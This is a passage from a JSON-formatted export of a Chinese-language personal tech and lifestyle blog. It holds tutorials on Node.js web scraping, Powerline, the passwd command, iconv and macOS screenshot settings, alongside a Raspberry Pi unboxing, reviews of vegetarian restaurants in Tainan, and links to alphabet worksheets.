同樣也可以達到這樣的效果，以下是使用 Node.js 撰寫網頁擷取程式的教學。\n這裡我們會使用到的工具有：\nNode.js：基本的 Node.js 環境。 Request：處理 HTTP 請求的 Node 套件。 cheerio：適用於伺服器端的 jQuery，可幫助我們擷取網頁中的資料。 抓取的網頁內容我們就以\nhttp://www.wunderground.com/weather-forecast/zmw:00000.1.59358 這個 Weather Underground 所提供的台南市天氣資料做示範，抓取網頁上的氣溫與溼度這兩個數值。\nStep 1\n首先打開網頁的原始碼，找到氣溫的那一段 HTML 碼，大約會像這樣：\n\u0026lt;span class=\u0026#34;wx-data\u0026#34; data-station=\u0026#34;I1318\u0026#34; data-variable=\u0026#34;temperature\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;wx-value\u0026#34;\u0026gt;35.9\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;wx-unit\u0026#34;\u0026gt;°C\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; 由於它的程式碼結構非常漂亮，我們只要抓到有 data-variable=\u0026quot;temperature\u0026quot; 的元素，再向下抓一個 class 是 wx-value 的元素，就可以獲得氣溫的數值了，而溼度的部分也是一樣用這樣的方式抓取。\n確定網頁的結構與抓取資料的規則之後，就可以開始準備寫程式了。\nStep 2\n準備開發用的環境，安裝好 Node.js 之後，建立一個放置專案用的目錄：\nmkdir myscraper 用 npm 自動安裝需要的套件：\ncd myscraper npm install request cheerio Step 3\n使用 request 與 cheerio 撰寫網頁擷取的指令稿，並將這個指令稿儲存成 scraper.js：\nvar request = require(\u0026#34;request\u0026#34;); var cheerio = require(\u0026#34;cheerio\u0026#34;); // 台南市的氣溫 var url = \u0026#34;http://www.wunderground.com/weather-forecast/zmw:00000.1.59358\u0026#34;; // 取得網頁資料 request(url, function (error, response, body) { if (!error) { // 用 cheerio 解析 html 資料 var $ = cheerio.load(body); // 篩選有興趣的資料 var temperature = $(\u0026#34;[data-variable=\u0026#39;temperature\u0026#39;] .wx-value\u0026#34;).html(); var humidity = $(\u0026#34;[data-variable=\u0026#39;humidity\u0026#39;] .wx-value\u0026#34;).html(); // 輸出 console.log(\u0026#34;氣溫：攝氏 \u0026#34; + temperature + \u0026#34; 度\u0026#34;); console.log(\u0026#34;濕度：\u0026#34; + humidity + \u0026#34;%\u0026#34;); } else { console.log(\u0026#34;擷取錯誤：\u0026#34; + error); } }); 程式的整個流程很簡單，一開始用 request 將整張網頁抓回來，再將網頁的 HTML 原始碼交給 cheerio 解析，接著使用 jQuery 的語法，依照之前研究好的資料抓取規則，把對應的資料抓出來，最後是輸出。\nStep 4\n在命令列執行：\nnode scraper.js 輸出為：\n氣溫：攝氏 35.4 度 濕度：49% 這裡因為只是示範教學，所以只有抓氣溫與溼度兩個數值而已，比較好的做法是連同數值的單位也一起抓取，這樣資料比較不容易出問題。\n參考資料 Smashing Magazine scotch.io Digital Ocean Max Ogden ","permalink":"https://blog.gtwang.org/programming/scraping-the-web-with-nodejs/","summary":"\u003cp\u003e這裡介紹如何使用 Node.js 撰寫自動抓取網頁資料的程式，從網路上自動擷取大量的數據或資料。\u003c/p\u003e\n\u003cp\u003e在網頁 API 尚未風行的年代裡，如果想要從網路上自動取得一些資料，通常都只能從一般的網頁中擷取（web scraping），縱使現在許多網路上的資料都會提供程式專用的 API，但若遇到沒有提供完整功能 API 的網站，還是只能靠這個最基本的方式處理。\u003c/p\u003e","title":"Node.js 自動抓取網頁資料範例程式教學"},{"content":"最近買了一張最新的樹莓派 Raspberry Pi 2 Model B 還有一個 eleduio 的金屬外殼，順便寫一篇簡單的開箱文。\n目前在台灣要買樹莓派可以說非常方便，只要上拍賣網站搜尋一下，就可以找到很多的店家，而因為有非常多的賣家在競爭，所以價格都打的很便宜，我通常是習慣從露天上面買東西，然後用 7-ELEVEN 取貨付款，兩天後就可以拿到貨，雖然不像 PCHome 的 24 小時到貨那麼快，但是通常價格都會便宜很多，如果不急的話這樣是最划算的。\n開箱！這裡看到的是一些樹莓派的配件。\n我這次是買一張最新的 Raspberry Pi 2 Model B，加上電源、8GB 記憶卡，還有一個 eleduino 的金屬外殼，賣家還另外贈送小型的麵包板、杜邦線、散熱片等配件。\n這張 Raspberry Pi 2 Model B 是英國製的，上面有標示「Made in United Kingdom」。\n裡面包含一張 Raspberry Pi 2 Model B 主機板，以及一張說明說。\nRaspberry Pi 2 Model B 的正面。\nRaspberry Pi 2 Model B 的背面。\n把 Raspberry Pi 1 Model B+（左）與最新的 Raspberry Pi 2 Model B（右）放在一起比較，可以發現兩張板子的大小是一樣的，所有的接孔位置也都相同。\n這是兩張版的的背面比較。\n拿到板子之後，第一件事就是要把附贈的散熱片貼上去，雖然理論上來說這種板子是不需要散熱片的，但如果系統的運算量的會長時間滿載，或是想要超頻的話，建議還是貼個散熱片比較好，而且既然賣家有送，當然是直接貼上去了。\n貼上兩片散熱片後，會像這樣。雖然這樣就看不到 Broadcom 的字樣了，不過用起來會比較安心，開發程式的時候，比較不會擔心操壞它。\n樹莓派的板子準備好之後，接下來就是要看看 eleduino 的外殼了，這個外殼分為上下兩片，組裝的方式是靠螺絲。\n外殼底部的有設計四個螺絲孔，剛好對應樹莓派板子上面的四個孔，讓我們可以把板子用螺絲鎖在外殼上，不用擔心板子會晃動。\n鎖上板子上的四個螺絲。\n接著蓋上外殼，鎖上外殼的螺絲。\n外殼的另一側也有兩個螺絲。\n這樣就完成了。\n我這次買這張板子是打算自己打造一個內部用小型伺服器，因為考慮長時間開機的散熱問題，所以買了這個金屬的外殼，希望散熱效果可以好一點。\n在花費的部分，Raspberry Pi 2 Model B 加上各種配件是 1740 元，eleduino 金屬外殼是 340 元，加上運費 60 元，總共是 2140 元，我是沒有很仔細去比價，不過我看起來各家的價格都差不了多少，頂多差個幾十塊而已，就隨便找一家買了。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-2-model-b-eleduio-case-unboxing/","summary":"\u003cp\u003e最近買了一張最新的樹莓派 Raspberry Pi 2 Model B 還有一個 eleduio 的金屬外殼，順便寫一篇簡單的開箱文。\u003c/p\u003e\n\u003cp\u003e目前在台灣要買樹莓派可以說非常方便，只要上拍賣網站搜尋一下，就可以找到很多的店家，而因為有非常多的賣家在競爭，所以價格都打的很便宜，我通常是習慣從露天上面買東西，然後用 7-ELEVEN 取貨付款，兩天後就可以拿到貨，雖然不像 PCHome 的 24 小時到貨那麼快，但是通常價格都會便宜很多，如果不急的話這樣是最划算的。\u003c/p\u003e","title":"[開箱] 樹莓派 Raspberry Pi 2 Model B 與 eleduino 金屬外殼"},{"content":"Powerline 是一個 Vim 狀態列與 Shell 命令提示字元的外掛，除了 Vim 之外也可以用於各種 Shell 與應用程式中，如 zsh、bash、tmux、IPython、Awesome 與 Qtile。\nPowerline 是使用 Python 所開發的一個外掛小工具，支援各種常見的 Shell 與應用程式，可以產生非常漂亮的提示字串與狀態列文字，讓終端機的文字看起來更舒服。\n安裝 Powerline Powerline 在使用前需要進行一些安裝步驟。\n自動安裝 如果您是使用 Ubuntu Linux 14.10 以後的版本，建議可以直接使用 universe repository 所打包好的套件自動安裝：\nsudo apt-get install powerline 只要執行這一行就裝好了。\n手動安裝 Step 1\n首先安裝 Python 的 pip 與 git，若是 Debian 系列的 Linux（Ubuntu、Mint）則可用 apt 安裝 python-pip 與 git 套件：\nsudo apt-get install python-pip git Red Hat 系列的 Linux（CentOS、RHEL、Fedora），則可使用 yum 安裝：\nsudo yum install python-pip git 若是 Fedora Linux 22 以後的版本，則可用 dnf 安裝：\nsudo dnf install python-pip git Step 2\n使用 pip 安裝 Powerline：\npip install --user powerline-status 如果要取得最新的開發者版本，可以執行：\npip install --user git+git://github.com/powerline/powerline Step 3\n下載最新的 Powerline 字型以及 fontconfig 字型設定檔：\nwget https://github.com/powerline/powerline/raw/develop/font/PowerlineSymbols.otf wget https://github.com/powerline/powerline/raw/develop/font/10-powerline-symbols.conf 將 PowerlineSymbols.otf 這個字型放進自己的字型目錄：\nmv PowerlineSymbols.otf ~/.fonts/ 更新字型快取：\nfc-cache -vf ~/.fonts/ 將字型設定檔放進適當的目錄：\nmv 10-powerline-symbols.conf ~/.config/fontconfig/conf.d/ 使用 Powerline 以下介紹 Bash Shell 與 Vim 的使用方式，其他的應用可參考 Powerline 官方的說明文件。\nBash Shell 安裝好 Powerline 之後，若要在 Bash Shell 中使用，只要在 ~/.bashrc 中加入下面這段程式碼：\nPOWERLINE_SCRIPT=/usr/share/powerline/bindings/bash/powerline.sh if [ -f $POWERLINE_SCRIPT ]; then source $POWERLINE_SCRIPT fi 然後再關閉終端機，重新開啟（或是登出再登入）後就可以看到 Powerline 的效果了。\nVim 若要在 Vim 的狀態列中使用 Powerline，則在 ~/.vimrc 中加入這幾行：\nset laststatus=2 set t_Co=256 python from powerline.vim import setup as powerline_setup python powerline_setup() python del powerline_setup 使用 Powerline 的效果會像這樣：\n參考資料 Powerline Docs Tecmint ","permalink":"https://blog.gtwang.org/linux/powerline-adds-powerful-statuslines-and-prompts-to-vim-and-bash/","summary":"\u003cp\u003ePowerline 是一個 Vim 狀態列與 Shell 命令提示字元的外掛，除了 Vim 之外也可以用於各種 Shell 與應用程式中，如 zsh、bash、tmux、IPython、Awesome 與 Qtile。\u003c/p\u003e","title":"Powerline：漂亮的 Vim 狀態列與 Bash Shell 命令提示字串外掛"},{"content":"這裡提供了 passwd 指令的使用教學，並且整理了一些常用範例可供參考。\n在 Unix/Linux 系統中，passwd 這個指令可以用來變更使用者的密碼，對於一般使用者而言（非 root），執行 passwd 之後，會需要輸入目前現行的密碼，才可以允許密碼的變更；而如果是 root 管理者的話，則可以在不需要現行密碼的情況下，變更任何使用者的密碼（包含 root 自己的密碼）。\n以下是 passwd 指令的教學與實用範例。\n變更使用者密碼 一般的使用者執行 passwd 即可變更自己的密碼：\npasswd 而變更密碼之前，必須先輸入現行密碼：\n正在變更 gtwang 的密碼。 （目前的）UNIX 密碼： 輸入新的 UNIX 密碼： 再次輸入新的 UNIX 密碼： passwd：密碼已成功地變更 如果是 root 管理者的話，可以變更任何使用者的密碼：\nsudo passwd gtwang 而且不需要輸入該使用者的現行密碼：\n輸入新的 UNIX 密碼： 再次輸入新的 UNIX 密碼： passwd：密碼已成功地變更 如果變更 root 管理者的密碼，就跟一般使用者一樣直接執行 passwd 即可。\n顯示密碼狀態資訊 若要顯示密碼的狀態資訊，可以加上 -S 參數：\npasswd -S 輸出為：\ngtwang P 09/30/2015 0 99999 7 -1 這個輸出包含七個欄位：\n帳號名稱。 密碼狀態，狀態包含鎖定密碼（L）、無密碼（NP）與可用密碼（P）。 上次修改密碼的時間。 密碼最短使用期限（minimum password age），單位為天。 密碼最長使用期限（maximum password age），單位為天。 密碼過期前警告期間（password warning period），單位為天。 密碼過期後可使用的期間（password inactivity period），單位為天。 如果是 root 管理者，則可以查看特定使用者的密碼資訊：\nsudo passwd -S gtwang 關於密碼的各種期限問題，可以參考 SHADOW(5) 線上手冊。\n顯示所有使用者的密碼狀態資訊 root 管理者可以使用 -aS 參數查閱所有使用者的密碼狀態資訊：\nsudo passwd -aS 輸出會類似這樣：\nroot L 04/30/2015 0 99999 7 -1 daemon L 04/22/2015 0 99999 7 -1 bin L 04/22/2015 0 99999 7 -1 sys L 04/22/2015 0 99999 7 -1 sync L 04/22/2015 0 99999 7 -1 games L 04/22/2015 0 99999 7 -1 man L 04/22/2015 0 99999 7 -1 lp L 04/22/2015 0 99999 7 -1 [略] 移除使用者的密碼 若要移除使用者的密碼，可以使用 -d 參數，並加上使用者的名稱：\nsudo passwd -d gtwang 移除使用者的密碼之後，可以檢查一下狀態資訊：\nsudo passwd -S gtwang gtwang NP 09/30/2015 0 99999 7 -1 在密碼被移除之後，該使用者的帳號也會同時被停用，無法登入。\n設定密碼為過期狀態 有時候因為某些原因（像是重新設定密碼之後），我們會希望使用者立刻更改自己的密碼，這時候我們可以使用 -e 參數：\nsudo passwd -e gtwang passwd: password expiry information changed. 檢查一下狀態資訊：\nsudo passwd -S gtwang gtwang P 01/01/1970 0 99999 7 -1 這時候如果使用者使用 SSH 登入的話，系統就會強制變更密碼：\nssh gtwang@192.168.0.1 gtwang@192.168.0.1's password: You are required to change your password immediately (root enforced) WARNING: Your password has expired. You must change your password now and login again! 正在變更 gtwang 的密碼。 （目前的）UNIX 密碼： 輸入新的 UNIX 密碼： 再次輸入新的 UNIX 密碼： passwd：密碼已成功地變更 Connection to 192.168.0.1 closed. 變更密碼之後，會自動斷線，強迫重新登入。\n鎖定使用者密碼 -l 參數可以鎖定使用者的密碼：\nsudo passwd -l gtwang 檢查一下狀態資訊：\nsudo passwd -S gtwang 輸出為：\ngtwang L 09/30/2015 0 99999 7 -1 在鎖定之後，系統會在 /etc/shadow 的密碼欄位之前加上一個驚嘆號（!），類似這樣：\ngtwang:!$6$XZkm06BG$WkOtRLFncY3WSuLEXnu1yHYdWw0eJYcD.208K3CuhLEuZKL20IVZRkqrB.z2lNnEBW0bDEJ4wQ.e5gH8BB4EK0:16708:0:99999:7::: 而該使用者在密碼被鎖定的狀態下，無法變更自己的密碼。\n如果要解除鎖定，可以使用 -u 參數：\nsudo passwd -u gtwang 設定密碼期限相關設定 -n 參數可以設定密碼的最短變更間隔時間（minimum password age），例如：\nsudo passwd -n 3 gtwang 這樣設定之後，gtwang 使用者至少每隔三天才能變更一次密碼。如果將密碼的最短變更間隔時間設定為 0，就表示任何時間都可以自由變更密碼。\n-x 參數則可以設定密碼的有效期限，例如設定一個密碼可以使用 90 天，讓 gtwang 這個使用者三個月就要換一次密碼：\nsudo passwd -x 90 gtwang -w 參數可以設定密碼過期前警告期間，例如將警告期間設定為 7 天：\nsudo passwd -w 7 gtwang 這樣一來在 gtwang 使用者自己的密碼過期之前的一週開始，使用者在登入之後就會顯示密碼即將過期的警告訊息，提醒使用者盡快更改密碼。\n當使用者的密碼過期之後，會有一段寬限期（也就是 inactivity period），讓使用者還可以繼續登入使用，而當寬限期過了之後還是沒有變更密碼的話，使用者就會無法登入。我們可以使用 -i 設定設定密碼過期後可使用的期間：\nsudo passwd -i 10 gtwang 參考資料 Linux Techi ","permalink":"https://blog.gtwang.org/linux/linux-passwd-command-examples/","summary":"\u003cp\u003e這裡提供了 \u003ccode\u003epasswd\u003c/code\u003e 指令的使用教學，並且整理了一些常用範例可供參考。\u003c/p\u003e\n\u003cp\u003e在 Unix/Linux 系統中，\u003ccode\u003epasswd\u003c/code\u003e 這個指令可以用來變更使用者的密碼，對於一般使用者而言（非 \u003ccode\u003eroot\u003c/code\u003e），執行 \u003ccode\u003epasswd\u003c/code\u003e 之後，會需要輸入目前現行的密碼，才可以允許密碼的變更；而如果是 \u003ccode\u003eroot\u003c/code\u003e 管理者的話，則可以在不需要現行密碼的情況下，變更任何使用者的密碼（包含 \u003ccode\u003eroot\u003c/code\u003e 自己的密碼）。\u003c/p\u003e","title":"Linux 的 passwd 指令範例教學"},{"content":"Home 素食是台南新營的一家外帶外送素食簡餐店，餐點主要有蛋包飯、燴飯與套餐等。\n店裡最特別是三種招牌口味的醬汁，有咖哩、番茄和黑胡椒醬汁，聽老闆說他們的醬汁都是使用新鮮蔬果打汁下去熬煮，我非常喜歡他們的醬汁，有天然蔬果的甘甜滋味，健康美味無負擔，不管是蛋包飯、燴飯或是套餐都有搭配這三種醬汁可以選擇，算是難得又特別的素食餐點。\n目前 Home 素食已經結束營業。\n每份餐點都有附贈紅茶，紅茶有小時候味道，比市售飲料店的紅茶還要好喝。\nHome 素食的地點位於中正路陳耀軫小兒科診所對面。\n他的蛋包飯只要 45 元。\n這是店內的櫃檯。\n這是 Home 素食的菜單。\n這是 45 元的番茄蛋包飯，配上醬汁與紅茶。\nHome 素食的蛋包飯，跟一般的蛋包飯不同，是要淋上醬汁的蛋包飯，不油膩，天然蔬果熬汁的醬汁，讓蛋包飯吃起來更美味。\n這裡的蛋包飯，淋上醬汁之後，味道非常好。\n這是 45 元的咖哩蛋包飯，配上醬汁與飲料（紅茶不夠的時候，就或改用飲料代替）。\n淋上咖哩醬汁。\n這是ㄐㄧ排套餐，選擇的醬汁是黑胡椒，還有附贈的紅茶。\n這是黑胡椒醬汁。\n這是淋上黑胡椒醬汁後的套餐。\n醬汁裡面的料還蠻多的。\n這是咖哩ㄐㄧ排套餐。\n咖哩醬汁。\n把咖哩醬汁淋上去。\n全部一次倒下去差一點滿出來。\n要外帶的人，可以事先打電話預訂，這樣就可以不用在現場等待。\n","permalink":"https://blog.gtwang.org/life/home-vegetarian-omurice-sinying-tainan/","summary":"\u003cp\u003eHome 素食是台南新營的一家外帶外送素食簡餐店，餐點主要有蛋包飯、燴飯與套餐等。\u003c/p\u003e\n\u003cp\u003e店裡最特別是三種招牌口味的醬汁，有咖哩、番茄和黑胡椒醬汁，聽老闆說他們的醬汁都是使用新鮮蔬果打汁下去熬煮，我非常喜歡他們的醬汁，有天然蔬果的甘甜滋味，健康美味無負擔，不管是蛋包飯、燴飯或是套餐都有搭配這三種醬汁可以選擇，算是難得又特別的素食餐點。\u003c/p\u003e","title":"[台南新營素食] Home 素食：蛋包飯、燴飯、套餐"},{"content":"台南新營的和誠塩粿是一家傳統的的早餐店，同時也有素食的早餐。\n新營和誠塩粿位於民生路與中華路交叉口，同時有葷食與素食的早餐，平常生意都很好。\n這一家雖然同時有賣葷食與素食，不過葷素有分開，左邊的是葷食的，右邊是素食的。\n這是素食的菜單。\n這裡有免費的味噌湯，也可以外帶。\n這是筒仔米糕 （20 元）與塩粿（20 元），我叫老闆裝在一起。\n沾醬吃味道不錯，我們家小朋友很愛吃。\n招牌上 40 元的粿 + 素香腸（中）。\n他們的沾醬味道很好。\n這是 15 元的碗粿，加上免費的味噌湯。\n這是 15 元的碗粿，加上 10 元的豆漿（另有奶茶與紅茶可選擇）。\n這是 15 元的素粽，加上免費的味噌湯。\n這是 15 元的素粽，加上 10 元的豆漿。\n素粽淋上沾醬也很好吃。\n我們家小朋友很愛吃素香腸。\n整盒裡面的素香腸幾乎都是他吃。\n很好吃的樣子。\n這家早餐店生意很好，差不多八、九點之後素粽與碗粿就賣完了，若想要有多一點選擇，就要早一點去。\n名稱：新營和誠塩粿\n地址：台南市新營區民生路 15 號 （民生路與中華路交叉口）\n另外他也有賣還沒有加熱的素粽，可以買回去自己蒸，塩粿也有秤斤賣，回家自己煎來吃也不錯。\n","permalink":"https://blog.gtwang.org/life/hecheng-vegetarian-salt-cake-sinying-tainan/","summary":"\u003cp\u003e台南新營的和誠塩粿是一家傳統的的早餐店，同時也有素食的早餐。\u003c/p\u003e\n\u003cp\u003e新營和誠塩粿位於民生路與中華路交叉口，同時有葷食與素食的早餐，平常生意都很好。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[台南新營素食] 和誠塩粿早餐，素食可用"},{"content":"台南善化的田園花果茶餐飲坊是一家素食餐廳，靠近台南科學園區，餐點豐富，適合朋友或同事聚餐。\n在南科附近適合聚餐的素食餐廳似乎沒有很多，田園花果茶餐飲坊算是善化這邊比較老字號的餐廳，而除了這家之外，善化附近後來又開了兩家不錯的素食餐廳，若是小型聚餐的話也可以參考禾米蔬食，若是人比較多的大型聚會，建議考慮理善蔬食（食記上篇、食記下篇）。\n善化的田園花果茶素食餐飲坊已經停止營業。\n善化這家田園花果茶餐飲坊算是不錯的一家素食餐廳，位於善化中正路的郵局旁邊，離南科很近，停車也方便。\n裡面的空間還蠻大的。\n這是櫃台，點餐時要先結帳。\n這是可以免費喝的飲料。\n除了大人的杯子之外，也有提供兒童用的。\n這是菜單，這裡提供的餐點種類真的很多。（點圖可以放大看）\n我們今天一桌三個人，總共點了 820 元的餐點，不過後來發現點太多了，吃得很撐。\n這是套餐的玉米濃湯以及生菜沙拉，還有一塊麵包。\n生菜沙拉還不錯。\n這是南瓜燉飯，照片看起來可能感覺不大，不過它的份量不少。\n這是我點的蘑菇焗烤麵，聞起來很香。\n這是今天最貴的藥膳猴頭菇養生鍋，這個份量真的很多，普通人一個人要吃完有難度。\n我同事點餐的時候覺得很餓，所以就點了這一鍋，結果吃到後來很撐，好不容易才吃完。\n香炸蚵仔酥，是用百頁豆腐做的，口感不錯。\n甜不辣，這道小菜我沒有吃，因為吃完焗烤麵，就已經吃不下了，不過看起來應該還不錯的樣子。\n這家的生意看起來還不錯，我們今天是非假日中午去吃的，客人還不少。餐點的部分味道都還不錯，只不過我覺得小菜的份量可以再多一點會比較好。\n","permalink":"https://blog.gtwang.org/life/pastoral-vegetarian-restaurant-shanhua-tainan/","summary":"\u003cp\u003e台南善化的田園花果茶餐飲坊是一家素食餐廳，靠近台南科學園區，餐點豐富，適合朋友或同事聚餐。\u003c/p\u003e\n\u003cp\u003e在南科附近適合聚餐的素食餐廳似乎沒有很多，田園花果茶餐飲坊算是善化這邊比較老字號的餐廳，而除了這家之外，善化附近後來又開了兩家不錯的素食餐廳，若是小型聚餐的話也可以參考\u003ca href=\"/life/he-mi-vegetarian-restaurant-shanhua-tainan-2017/\"\u003e禾米蔬食\u003c/a\u003e，若是人比較多的大型聚會，建議考慮理善蔬食（\u003ca href=\"/life/li-shan-vegetarian-restaurant-shanhua-tainan-20180216/\"\u003e食記上篇\u003c/a\u003e、\u003ca href=\"/life/li-shan-vegetarian-restaurant-shanhua-tainan-20180218/\"\u003e食記下篇\u003c/a\u003e）。\u003c/p\u003e","title":"[台南善化素食] 田園花果茶素食餐飲坊：近南科素食餐廳"},{"content":"Input 是一套專門用於顯示程式碼的字型集，包含各種漂亮的等寬字型，對於程式設計師非常有用。\n許多的工程師、程式設計師甚至是理工科的研究生，時常需要撰寫大量的程式或是閱讀程式碼，若有一個漂亮的字型能讓程式碼賞心悅目，不管是在工作效率或是心情上，都會有幫助。\n我們之前也介紹過許多適合程式設計師使用的字型，而這裡再介紹一個由 David Jonathan Ross 所製作的字型集，由於這些字型是特別為了顯示程式碼而設計的，除了等寬的特性之外，還加強了文字線條的清晰度、字母寬度的選擇性，甚至可以從字型的的選擇調整行高，讓程式碼可以非常漂亮的顯示在螢幕上。\n名稱：Input 字型集\n網址：https://input.djr.com/\n這是 Input 字型的官方網站，首頁展示了各種漂亮的字型。\n網站上有提供一個互動式預覽功能（Interactive Preview），我們可以透過這個小工具調整字型的設定，看看各種組合所產生的效果。\n這裡也內建一些不同的佈景主題，我們可以根據亮色系與暗色系選擇不同的字體來搭配。\n由於可調整的參數相當多，我們可以在調整好之後，直接下載目前這個設定所需要的字族（family），或是直接把整個 Input 字型及下載回來。\n下載回來的字型，按照一般的方式安裝在自己的系統上就可以使用了。這是我裝在 Mac OS X 中，在 Vim 編輯器中使用的狀況。\n","permalink":"https://blog.gtwang.org/programming/input-fonts-for-programmer/","summary":"\u003cp\u003eInput 是一套專門用於顯示程式碼的字型集，包含各種漂亮的等寬字型，對於程式設計師非常有用。\u003c/p\u003e\n\u003cp\u003e許多的工程師、程式設計師甚至是理工科的研究生，時常需要撰寫大量的程式或是閱讀程式碼，若有一個漂亮的字型能讓程式碼賞心悅目，不管是在工作效率或是心情上，都會有幫助。\u003c/p\u003e","title":"Input 字型集：適合程式設計師用的免費字型套件"},{"content":"這是同事最近買的高級玩具，我借來玩一下，順便拍幾張照片。\n這是一顆靠著磁力懸浮在空中的小地球儀，一開始看到還蠻有意思的。\n真的是飄在空中，這玩意兒剛買來的時候，應該可以看著它發呆很久。\n側邊有電源插孔，需要插電後才能把地球儀擺上去，如果把電拔掉，地球儀就會掉下來。\n這是地球儀拆開的樣子，裡面有磁鐵，還有三顆 LED 燈。\n當地球儀擺上去之後，LED 燈就會發亮，應該是靠著類似無線充電的技術讓它發亮的。\n這是地球儀放上去轉的影片，因為幾乎沒有摩擦力，它可以轉很久。\n聽同事說，這顆是在台南德安百貨買的，那裡有一間科學玩具的專賣店，改天有空再找機會去逛一下。\n","permalink":"https://blog.gtwang.org/funny/maglev-globe/","summary":"\u003cp\u003e這是同事最近買的高級玩具，我借來玩一下，順便拍幾張照片。\u003c/p\u003e\n\u003cp\u003e這是一顆靠著磁力懸浮在空中的小地球儀，一開始看到還蠻有意思的。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"maglev-globe-2\" loading=\"lazy\" src=\"/funny/maglev-globe/maglev-globe-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e真的是飄在空中，這玩意兒剛買來的時候，應該可以看著它發呆很久。\u003c/p\u003e","title":"磁力懸浮地球儀，高級的科學玩具"},{"content":"本篇介紹如何在 Mac OS X 或 Linux 中使用 iconv 指令轉換 Big5 與 UTF8 等文字編碼，解決開啟文字檔產生亂碼的問題。\n有時候使用一般的編輯器開啟文字檔（*.txt 或 *.html 等）時，如果文字的編碼不正確，就會出現一大堆亂碼。\n在 Mac OS X 或 Linux 系統上，我們可以使用 iconv 指令來處理各種文字編碼的問題，在 Mac OS X 與大部份的 Linux 系統上內建就有這個指令，不需要安裝，使用方式也都相同。\nBIG-5 轉 UTF-8 若要將一個文字檔從 BIG-5 編碼轉換為 UTF-8 編碼，可以執行：\n# BIG-5 轉 UTF-8 iconv -f BIG-5 -t UTF-8 big5.txt \u0026gt; utf8.txt 其中 big5.txt 是輸入的文字檔檔名，轉換出來會輸出到 utf8.txt 這個檔案中。\n-f 參數是指定輸入檔的編碼，而 -t 則是指定輸出檔的編碼，我們可以使用 -l 參數查詢 iconv 所支援的編碼列表：\n# 查詢支援的編碼列表 iconv -l UTF-8 轉 BIG-5 若要將 UTF-8 編碼的文字檔轉為 BIG-5，則執行：\n# UTF-8 轉 BIG-5 iconv -f UTF-8 -t BIG-5 utf8.txt \u0026gt; big5.txt 經過 iconv 轉換成正確的編碼之後，就可以正常顯示文字檔的內容了。\n目前大部份比較新的系統或是應用程式應該都會採用 UTF-8 的方式編碼，而一些比較舊的系統可能還是會沿用以往舊式的 BIG-5，基本上不管要怎麼轉換編碼，通常都可以使用 iconv 來處理。\n","permalink":"https://blog.gtwang.org/tips/iconv-convert-text-big5-between-utf8-encoding/","summary":"\u003cp\u003e本篇介紹如何在 Mac OS X 或 Linux 中使用 \u003ccode\u003eiconv\u003c/code\u003e 指令轉換 Big5 與 UTF8 等文字編碼，解決開啟文字檔產生亂碼的問題。\u003c/p\u003e\n\u003cp\u003e有時候使用一般的編輯器開啟文字檔（\u003ccode\u003e*.txt\u003c/code\u003e 或 \u003ccode\u003e*.html\u003c/code\u003e 等）時，如果文字的編碼不正確，就會出現一大堆亂碼。\u003c/p\u003e","title":"iconv 指令轉換文字檔編碼（Big5 轉 UTF8、UTF8 轉 Big5 ）"},{"content":"這裡介紹如何關閉 Mac OS X 擷取視窗畫面時的陰影。\n在 Mac OS X 中，如果想要擷取視窗畫面，我們可以按下鍵盤的 Shift + Command + 4，然後再按一次空白鍵，就可以選擇要擷取的視窗，擷取出來的畫面會像這樣：\nMac OS X 預設會在視窗的周圍產生很大片的陰影，雖然看起來很漂亮，但是在網頁上擺放圖片的空間大小是固定的，陰影太大片的話，會擠壓到主要的視窗畫片，讓主體變小。\n如果要關閉 Mac OS X 自動產生的陰影，可以在終端機中執行：\n# 停用截圖陰影功能 defaults write com.apple.screencapture disable-shadow -bool true 然後重新啟動系統的 UI Server：\n# 重新啟動系統 UI Server killall SystemUIServer 這樣在截圖時，就不會產生陰影了。\n如果要將陰影的功能再次開啟，就執行：\n# 啟用截圖陰影功能 defaults write com.apple.screencapture disable-shadow -bool false # 重新啟動系統 UI Server killall SystemUIServer 參考資料 macgasm ","permalink":"https://blog.gtwang.org/mac-os/disable-dropshadow-mac-os-window-screenshots/","summary":"\u003cp\u003e這裡介紹如何關閉 Mac OS X 擷取視窗畫面時的陰影。\u003c/p\u003e\n\u003cp\u003e在 Mac OS X 中，如果想要擷取視窗畫面，我們可以按下鍵盤的 \u003ccode\u003eShift\u003c/code\u003e + \u003ccode\u003eCommand\u003c/code\u003e + \u003ccode\u003e4\u003c/code\u003e，然後再按一次空白鍵，就可以選擇要擷取的視窗，擷取出來的畫面會像這樣：\u003c/p\u003e","title":"關閉 Mac OS X 擷取視窗畫面時的陰影"},{"content":"這裡整理一些免費的英文 ABC 練習本，下載列印後就可以給小朋友練習寫英文字母。\n牛津大學出版社 Learning to write 牛津大學出版社的網站上有提供英文字母 a 到 z 的書寫練習。\n名稱：牛津大學出版社 Learning to write\n下載：Learning to write\n備用連結：Learning to write\nworksheetfun.com worksheetfun.com 網站上有很多免費的英文字母練習簿可以下載。\n名稱：worksheetfun.com\n下載：www.worksheetfun.com\neducation.com education.com 網站上有許多種字母練習簿，品質不錯，不過下載前要先註冊一下。\n名稱：education.com\n下載：www.education.com\nfun2write.com fun2write.com 提供的字母練習加上著色圖案的練習簿，可以加深小朋友為字母的映像。\n名稱：fun2write.com\n下載：www.fun2write.com\n","permalink":"https://blog.gtwang.org/children/alphabet-tracing-sheets/","summary":"\u003cp\u003e這裡整理一些免費的英文 ABC 練習本，下載列印後就可以給小朋友練習寫英文字母。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n   